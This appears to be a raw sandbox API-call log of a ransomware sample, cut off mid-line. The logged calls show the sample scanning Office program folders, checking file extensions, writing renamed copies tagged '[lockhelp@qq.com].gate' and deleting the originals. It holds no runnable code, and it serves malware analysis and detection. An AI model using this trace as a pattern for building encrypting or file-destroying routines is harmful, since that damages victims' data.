[0303.928] lstrlenW (lpString=".bz2") returned 4 [0303.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.928] lstrlenW (lpString=".7z") returned 3 [0303.928] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.928] lstrlenW (lpString=".dbf") returned 4 [0303.928] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.928] lstrlenW (lpString=".1cd") returned 4 [0303.928] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.928] lstrlenW (lpString=".jpg") returned 4 [0303.928] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString=".doc") returned 4 [0303.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString=".docx") returned 5 [0303.929] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0303.929] lstrlenW (lpString=".pdf") returned 4 [0303.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString=".xls") returned 4 [0303.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString=".xlsx") returned 5 [0303.929] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0303.929] lstrlenW (lpString=".ppt") returned 4 [0303.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString=".zip") returned 4 [0303.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString=".rar") returned 4 [0303.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.929] lstrlenW (lpString=".bz2") returned 4 [0303.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.929] lstrlenW (lpString=".7z") returned 3 [0303.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString=".dbf") returned 4 [0303.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString=".1cd") returned 4 [0303.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.929] lstrlenW (lpString=".jpg") returned 4 [0303.929] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.930] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0303.930] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0303.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0305.232] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=26816) returned 1 [0305.232] CloseHandle (hObject=0x50c) returned 1 [0305.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0305.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0305.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.836] lstrlenW (lpString=".doc") returned 4 [0305.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.836] lstrlenW (lpString=".docx") returned 5 [0305.836] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0305.836] lstrlenW (lpString=".pdf") returned 4 [0305.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.836] lstrlenW (lpString=".xls") returned 4 [0305.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.836] lstrlenW (lpString=".xlsx") returned 5 [0305.877] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0305.877] lstrlenW (lpString=".ppt") returned 4 [0305.877] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.877] lstrlenW (lpString=".zip") returned 4 [0305.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.877] lstrlenW (lpString=".rar") returned 4 [0305.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.877] lstrlenW (lpString=".bz2") returned 4 [0305.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.877] lstrlenW (lpString=".7z") returned 3 [0305.877] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.877] lstrlenW (lpString=".dbf") returned 4 [0305.877] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.877] lstrlenW (lpString=".1cd") returned 4 [0305.877] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.877] lstrlenW (lpString=".jpg") returned 4 [0305.877] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.878] lstrlenW (lpString=".doc") returned 4 [0305.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString=".docx") returned 5 [0305.878] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0305.878] lstrlenW (lpString=".pdf") returned 4 [0305.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString=".xls") returned 4 [0305.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString=".xlsx") returned 5 [0305.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0305.878] lstrlenW (lpString=".ppt") returned 4 [0305.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.878] lstrlenW (lpString=".zip") returned 4 [0305.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString=".rar") returned 4 [0305.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.878] lstrlenW (lpString=".bz2") returned 4 [0305.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.878] lstrlenW (lpString=".7z") returned 3 [0305.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.878] lstrlenW (lpString=".dbf") returned 4 [0305.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.878] lstrlenW (lpString=".1cd") returned 4 [0305.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0305.878] lstrlenW (lpString=".jpg") returned 4 [0305.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.878] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0305.879] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0305.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0306.065] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=19136) returned 1 [0306.065] CloseHandle (hObject=0x4f0) returned 1 [0306.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0306.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0306.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".doc") returned 4 [0306.067] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString=".docx") returned 5 [0306.067] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0306.067] lstrlenW (lpString=".pdf") returned 4 [0306.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString=".xls") returned 4 [0306.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString=".xlsx") returned 5 [0306.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0306.067] lstrlenW (lpString=".ppt") returned 4 [0306.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".zip") returned 4 [0306.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString=".rar") returned 4 [0306.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString=".bz2") returned 4 [0306.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.067] lstrlenW (lpString=".7z") returned 3 [0306.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".dbf") returned 4 [0306.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".1cd") returned 4 [0306.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".jpg") returned 4 [0306.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.067] lstrlenW (lpString=".doc") returned 4 [0306.067] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString=".docx") returned 5 [0306.068] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0306.068] lstrlenW (lpString=".pdf") returned 4 [0306.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString=".xls") returned 4 [0306.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString=".xlsx") returned 5 [0306.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0306.068] lstrlenW (lpString=".ppt") returned 4 [0306.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.068] lstrlenW (lpString=".zip") returned 4 [0306.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString=".rar") returned 4 [0306.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.068] lstrlenW (lpString=".bz2") returned 4 [0306.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.068] lstrlenW (lpString=".7z") returned 3 [0306.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.068] lstrlenW (lpString=".dbf") returned 4 [0306.068] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.068] lstrlenW (lpString=".1cd") returned 4 [0306.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82 [0306.068] lstrlenW (lpString=".jpg") returned 4 [0306.068] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.068] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0306.068] lstrlenW (lpString="AppVManifest.dll") returned 16 [0306.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0306.231] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1007320) returned 1 [0306.231] CloseHandle (hObject=0x564) returned 1 [0306.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 0x220 [0306.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.732] lstrlenW (lpString=".doc") returned 4 [0306.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.732] lstrlenW (lpString=".docx") returned 5 [0306.732] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0306.732] lstrlenW (lpString=".pdf") returned 4 [0306.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.732] lstrlenW (lpString=".xls") returned 4 [0306.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.732] lstrlenW (lpString=".xlsx") returned 5 [0306.732] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0306.732] lstrlenW (lpString=".ppt") returned 4 [0306.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.732] lstrlenW (lpString=".zip") returned 4 [0306.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.733] lstrlenW (lpString=".rar") returned 4 [0306.733] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.733] lstrlenW (lpString=".bz2") returned 4 [0306.733] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.733] lstrlenW (lpString=".7z") returned 3 [0306.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.733] lstrlenW (lpString=".dbf") returned 4 [0306.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.733] lstrlenW (lpString=".1cd") returned 4 [0306.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.733] lstrlenW (lpString=".jpg") returned 4 [0306.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.733] lstrlenW (lpString=".doc") returned 4 [0306.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.733] lstrlenW (lpString=".docx") returned 5 [0306.733] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0306.733] lstrlenW (lpString=".pdf") returned 4 [0306.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.734] lstrlenW (lpString=".xls") returned 4 [0306.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.734] lstrlenW (lpString=".xlsx") returned 5 [0306.734] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0306.734] lstrlenW (lpString=".ppt") returned 4 [0306.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.734] lstrlenW (lpString=".zip") returned 4 [0306.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.734] lstrlenW (lpString=".rar") returned 4 [0306.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.734] lstrlenW (lpString=".bz2") returned 4 [0306.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.734] lstrlenW (lpString=".7z") returned 3 [0306.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.734] lstrlenW (lpString=".dbf") returned 4 [0306.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.734] lstrlenW (lpString=".1cd") returned 4 [0306.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0306.734] lstrlenW (lpString=".jpg") returned 4 [0306.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0308.463] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1347630) returned 1 [0308.463] CloseHandle (hObject=0x4b0) returned 1 [0308.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0308.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0308.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0308.465] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.465] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0308.875] GetLastError () returned 0x0 [0308.875] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0309.148] WriteFile (in: hFile=0x538, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0309.163] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x4903e, lpOverlapped=0x0) returned 1 [0309.788] WriteFile (in: hFile=0x538, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x49040, lpOverlapped=0x0) returned 1 [0309.796] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.796] WriteFile (in: hFile=0x538, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0309.796] SetEndOfFile (hFile=0x538) returned 1 [0312.432] CloseHandle (hObject=0x538) returned 1 [0312.432] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.432] SetEndOfFile (hFile=0x4b0) returned 1 [0312.527] CloseHandle (hObject=0x4b0) returned 1 [0312.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0312.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.528] lstrlenW (lpString=".doc") returned 4 [0312.528] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0312.529] lstrlenW (lpString=".docx") returned 5 [0312.529] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0312.529] lstrlenW (lpString=".pdf") returned 4 [0312.529] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0312.529] lstrlenW (lpString=".xls") returned 4 [0312.529] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0312.529] lstrlenW (lpString=".xlsx") returned 5 [0312.529] lstrcmpiW (lpString1=".xlsx", 